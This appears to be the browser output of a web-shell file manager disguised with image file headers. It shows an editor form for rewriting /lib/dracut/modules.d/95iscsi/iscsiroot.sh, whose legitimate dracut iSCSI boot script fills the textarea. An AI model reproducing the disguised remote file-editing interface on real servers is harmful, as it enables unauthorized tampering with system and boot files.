�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Flib%2F'>lib</a>/<a href='?path=%2Flib%2Fdracut%2F'>dracut</a>/<a href='?path=%2Flib%2Fdracut%2Fmodules.d%2F'>modules.d</a>/<a href='?path=%2Flib%2Fdracut%2Fmodules.d%2F95iscsi%2F'>95iscsi</a>/</p><hr><h3>✏️ Editing: iscsiroot.sh</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#!/bin/sh
#
# This implementation is incomplete: Discovery mode is not implemented and
# the argument handling doesn't follow currently agreed formats. This is mainly
# because rfc4173 does not say anything about iscsi_initiator but open-iscsi's
# iscsistart needs this.
#

type getarg &gt;/dev/null 2&gt;&amp;1 || . /lib/dracut-lib.sh
type parse_iscsi_root &gt;/dev/null 2&gt;&amp;1 || . /lib/net-lib.sh
type write_fs_tab &gt;/dev/null 2&gt;&amp;1 || . /lib/fs-lib.sh

PATH=/usr/sbin:/usr/bin:/sbin:/bin

# Huh? Empty $1?
[ -z &quot;$1&quot; ] &amp;&amp; exit 1

# Huh? Empty $2?
[ -z &quot;$2&quot; ] &amp;&amp; exit 1

# Huh? Empty $3? This isn't really necessary, since NEWROOT isn't
# used here. But let's be consistent
[ -z &quot;$3&quot; ] &amp;&amp; exit 1

# root is in the form root=iscsi:[&lt;servername&gt;]:[&lt;protocol&gt;]:[&lt;port&gt;]:[&lt;LUN&gt;]:&lt;targetname&gt;
netif=&quot;$1&quot;
iroot=&quot;$2&quot;

# If it's not iscsi we don't continue
[ &quot;${iroot%%:*}&quot; = &quot;iscsi&quot; ] || exit 1

iroot=${iroot#iscsi}
iroot=${iroot#:}

# XXX modprobe crc32c should go in the cmdline parser, but I haven't yet
# figured out a way how to check whether this is built-in or not
modprobe crc32c 2&gt;/dev/null

if [ -z &quot;${DRACUT_SYSTEMD}&quot; ] &amp;&amp; [ -e /sys/module/bnx2i ] &amp;&amp; ! [ -e /tmp/iscsiuio-started ]; then
        iscsiuio
        &gt; /tmp/iscsiuio-started
fi


handle_firmware()
{
    local ifaces retry

    # Depending on the 'ql4xdisablesysfsboot' qla4xxx
    # will be autostarting sessions without presenting
    # them via the firmware interface.
    # In these cases 'iscsiadm -m fw' will fail, but
    # the iSCSI sessions will still be present.
    if ! iscsiadm -m fw; then
        warn &quot;iscsiadm: Could not get list of targets from firmware.&quot;
    else
        ifaces=$(set -- /sys/firmware/ibft/ethernet*; echo $#)
        retry=$(cat /tmp/session-retry)

        if [ $retry -lt $ifaces ]; then
            retry=$((retry+1))
            echo $retry &gt; /tmp/session-retry
            return 1
        else
            rm /tmp/session-retry
        fi

        if ! iscsiadm -m fw -l; then
            warn &quot;iscsiadm: Log-in to iscsi target failed&quot;
        else
            need_shutdown
        fi
    fi
    [ -d /sys/class/iscsi_session ] || return 1
    echo 'started' &gt; &quot;/tmp/iscsistarted-iscsi:&quot;
    echo 'started' &gt; &quot;/tmp/iscsistarted-firmware&quot;

    return 0
}


handle_netroot()
{
    local iscsi_initiator iscsi_target_name iscsi_target_ip iscsi_target_port
    local iscsi_target_group iscsi_protocol iscsirw iscsi_lun
    local iscsi_username iscsi_password
    local iscsi_in_username iscsi_in_password
    local iscsi_iface_name iscsi_netdev_name
    local iscsi_param param
    local p found
    local login_retry_max_seen=

    # override conf settings by command line options
    arg=$(getarg rd.iscsi.initiator -d iscsi_initiator=)
    [ -n &quot;$arg&quot; ] &amp;&amp; iscsi_initiator=$arg
    arg=$(getarg rd.iscsi.target.group -d iscsi_target_group=)
    [ -n &quot;$arg&quot; ] &amp;&amp; iscsi_target_group=$arg
    arg=$(getarg rd.iscsi.username -d iscsi_username=)
    [ -n &quot;$arg&quot; ] &amp;&amp; iscsi_username=$arg
    arg=$(getarg rd.iscsi.password -d iscsi_password)
    [ -n &quot;$arg&quot; ] &amp;&amp; iscsi_password=$arg
    arg=$(getarg rd.iscsi.in.username -d iscsi_in_username=)
    [ -n &quot;$arg&quot; ] &amp;&amp; iscsi_in_username=$arg
    arg=$(getarg rd.iscsi.in.password -d iscsi_in_password=)
    [ -n &quot;$arg&quot; ] &amp;&amp; iscsi_in_password=$arg
    for p in $(getargs rd.iscsi.param -d iscsi_param); do
        [ &quot;${p%=*}&quot; = node.session.initial_login_retry_max ] &amp;&amp; \
            login_retry_max_seen=yes
            iscsi_param=&quot;$iscsi_param $p&quot;
    done

    # this sets iscsi_target_name and possibly overwrites most
    # parameters read from the command line above
    parse_iscsi_root &quot;$1&quot; || return 1

    # Bail out early, if there is no route to the destination
    if is_ip &quot;$iscsi_target_ip&quot; &amp;&amp; [ &quot;$netif&quot; != &quot;timeout&quot; ] &amp;&amp; ! all_ifaces_setup &amp;&amp; getargbool 1 rd.iscsi.testroute; then
        ip route get &quot;$iscsi_target_ip&quot; &gt;/dev/null 2&gt;&amp;1 || return 0
    fi

    #limit iscsistart login retries
    if [ &quot;$login_retry_max_seen&quot; != yes ]; then
        retries=$(getargnum 3 0 10000 rd.iscsi.login_retry_max)
        if [ $retries -gt 0 ]; then
            iscsi_param=&quot;${iscsi_param% } node.session.initial_login_retry_max=$retries&quot;
        fi
    fi

# XXX is this needed?
    getarg ro &amp;&amp; iscsirw=ro
    getarg rw &amp;&amp; iscsirw=rw
    fsopts=${fsopts:+$fsopts,}${iscsirw}

    if [ -z &quot;$iscsi_initiator&quot; ] &amp;&amp; [ -f /sys/firmware/ibft/initiator/initiator-name ] &amp;&amp; ! [ -f /tmp/iscsi_set_initiator ]; then
           iscsi_initiator=$(while read -r line || [ -n &quot;$line&quot; ]; do echo &quot;$line&quot;; done &lt; /sys/firmware/ibft/initiator/initiator-name)
           printf 'InitiatorName=%q\n' &quot;$iscsi_initiator&quot; &gt; /run/initiatorname.iscsi
           rm -f /etc/iscsi/initiatorname.iscsi
           mkdir -p /etc/iscsi
           ln -fs /run/initiatorname.iscsi /etc/iscsi/initiatorname.iscsi
           : &gt; /tmp/iscsi_set_initiator
           if [ -n &quot;$DRACUT_SYSTEMD&quot; ]; then
               systemctl try-restart iscsid
               # FIXME: iscsid is not yet ready, when the service is :-/
               sleep 1
           fi
    fi

    if [ -z &quot;$iscsi_initiator&quot; ]; then
        [ -f /run/initiatorname.iscsi ] &amp;&amp; . /run/initiatorname.iscsi
        [ -f /etc/initiatorname.iscsi ] &amp;&amp; . /etc/initiatorname.iscsi
        [ -f /etc/iscsi/initiatorname.iscsi ] &amp;&amp; . /etc/iscsi/initiatorname.iscsi
        iscsi_initiator=$InitiatorName
    fi

    if [ -z &quot;$iscsi_initiator&quot; ]; then
        iscsi_initiator=$(iscsi-iname)
        printf 'InitiatorName=%q\n' &quot;$iscsi_initiator&quot; &gt; /run/initiatorname.iscsi
        rm -f /etc/iscsi/initiatorname.iscsi
        mkdir -p /etc/iscsi
        ln -fs /run/initiatorname.iscsi /etc/iscsi/initiatorname.iscsi
        &gt; /tmp/iscsi_set_initiator
        if [ -n &quot;$DRACUT_SYSTEMD&quot; ]; then
            systemctl try-restart iscsid
            # FIXME: iscsid is not yet ready, when the service is :-/
            sleep 1
        fi
    fi


    if [ -z &quot;$iscsi_target_port&quot; ]; then
        iscsi_target_port=3260
    fi

    if [ -z &quot;$iscsi_target_group&quot; ]; then
        iscsi_target_group=1
    fi

    if [ -z &quot;$iscsi_lun&quot; ]; then
        iscsi_lun=0
    fi

    printf 'InitiatorName=%q\n' &quot;$iscsi_initiator&quot; &gt; /run/initiatorname.iscsi
    ln -fs /run/initiatorname.iscsi /dev/.initiatorname.iscsi
    if ! [ -e /etc/iscsi/initiatorname.iscsi ]; then
        mkdir -p /etc/iscsi
        ln -fs /run/initiatorname.iscsi /etc/iscsi/initiatorname.iscsi
        if [ -n &quot;$DRACUT_SYSTEMD&quot; ]; then
            systemctl try-restart iscsid
            # FIXME: iscsid is not yet ready, when the service is :-/
            sleep 1
        fi
    fi

   if [ -z &quot;$DRACUT_SYSTEMD&quot; ]; then
       iscsid
       sleep 2
   fi

# FIXME $iscsi_protocol??

    if [ &quot;$root&quot; = &quot;dhcp&quot; ] || [ &quot;$netroot&quot; = &quot;dhcp&quot; ]; then
        # if root is not specified try to mount the whole iSCSI LUN
        printf 'SYMLINK==&quot;disk/by-path/*-iscsi-*-%s&quot;, SYMLINK+=&quot;root&quot;\n' &quot;$(printf '%s' &quot;$iscsi_lun&quot; | tr -d '&quot;')&quot; &gt;&gt; /etc/udev/rules.d/99-iscsi-root.rules
        udevadm control --reload
        write_fs_tab /dev/root
        wait_for_dev -n /dev/root

        # install mount script
        [ -z &quot;$DRACUT_SYSTEMD&quot; ] \
            &amp;&amp; printf 'iscsi_lun=%q . /bin/mount-lun.sh\n' &quot;$iscsi_lun&quot; &gt; &quot;$hookdir&quot;/mount/01-$$-iscsi.sh
    fi

    targets=$(iscsiadm -m discovery -t st -p $iscsi_target_ip:${iscsi_target_port:+$iscsi_target_port} | sed 's/^.*iqn/iqn/')
    [ -z &quot;$targets&quot; ] &amp;&amp; echo &quot;Target discovery to $iscsi_target_ip:${iscsi_target_port:+$iscsi_target_port} failed with status $?&quot; &amp;&amp; return 1

    found=
    for target in $targets; do
        if [ &quot;$target&quot; = &quot;$iscsi_target_name&quot; ]; then
            if [ -n &quot;$iscsi_iface_name&quot; ]; then
                iscsiadm -m iface -I $iscsi_iface_name --op=new
                EXTRA=&quot; ${iscsi_netdev_name:+--name=iface.net_ifacename --value=$iscsi_netdev_name} &quot;
                EXTRA=&quot;$EXTRA ${iscsi_initiator:+--name=iface.initiatorname --value=$iscsi_initiator} &quot;
            fi
            [ -n &quot;$iscsi_param&quot; ] &amp;&amp; for param in $iscsi_param; do EXTRA=&quot;$EXTRA --name=${param%=*} --value=${param#*=}&quot;; done

            CMD=&quot;iscsiadm -m node -T $target \
                     ${iscsi_iface_name:+-I $iscsi_iface_name} \
                     -p $iscsi_target_ip${iscsi_target_port:+:$iscsi_target_port}&quot;
            __op=&quot;--op=update \
                     --name=node.startup --value=onboot \
                     ${iscsi_username:+   --name=node.session.auth.username    --value=$iscsi_username} \
                     ${iscsi_password:+   --name=node.session.auth.password    --value=$iscsi_password} \
                     ${iscsi_in_username:+--name=node.session.auth.username_in --value=$iscsi_in_username} \
                     ${iscsi_in_password:+--name=node.session.auth.password_in --value=$iscsi_in_password} \
                     $EXTRA \
                     $NULL&quot;
            $CMD $__op
            if [ &quot;$netif&quot; != &quot;timeout&quot; ]; then
                $CMD --login
            fi
            found=yes
            break
        fi
    done

    if [ &quot;$netif&quot; = &quot;timeout&quot; ]; then
        iscsiadm -m node -L onboot || :
    elif [ &quot;$found&quot; != yes ]; then
        warn &quot;iSCSI target \&quot;$iscsi_target_name\&quot; not found on portal $iscsi_target_ip:$iscsi_target_port&quot;
        return 1
    fi
    &gt; $hookdir/initqueue/work

    netroot_enc=$(str_replace &quot;$1&quot; '/' '\2f')
    echo 'started' &gt; &quot;/tmp/iscsistarted-iscsi:${netroot_enc}&quot;
    return 0
}

ret=0

if [ &quot;$netif&quot; != &quot;timeout&quot; ] &amp;&amp; getargbool 0 rd.iscsi.waitnet; then
    all_ifaces_setup || exit 0
fi

if [ &quot;$netif&quot; = &quot;timeout&quot; ] &amp;&amp; all_ifaces_setup; then
    # s.th. went wrong and the timeout script hits
    # restart
    systemctl restart iscsid
    # damn iscsid is not ready after unit says it's ready
    sleep 2
fi

if getargbool 0 rd.iscsi.firmware -d -y iscsi_firmware ; then
    if [ &quot;$netif&quot; = &quot;timeout&quot; ] || [ &quot;$netif&quot; = &quot;online&quot; ] || [ &quot;$netif&quot; = &quot;dummy&quot; ]; then
        [ -f /tmp/session-retry ] || echo 1 &gt; /tmp/session-retry
        handle_firmware
        ret=$?
    fi
fi

if ! [ &quot;$netif&quot; = &quot;online&quot; ]; then
    # loop over all netroot parameter
    if nroot=$(getarg netroot) &amp;&amp; [ &quot;$nroot&quot; != &quot;dhcp&quot; ]; then
        for nroot in $(getargs netroot); do
            [ &quot;${nroot%%:*}&quot; = &quot;iscsi&quot; ] || continue
            nroot=&quot;${nroot##iscsi:}&quot;
            if [ -n &quot;$nroot&quot; ]; then
                handle_netroot &quot;$nroot&quot;
                ret=$(($ret + $?))
            fi
        done
    else
        if [ -n &quot;$iroot&quot; ]; then
            handle_netroot &quot;$iroot&quot;
            ret=$?
        fi
    fi
fi

need_shutdown

# now we have a root filesystem somewhere in /dev/sd*
# let the normal block handler handle root=
exit $ret
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Flib%2Fdracut%2Fmodules.d%2F95iscsi'>🔙 Back</a></p>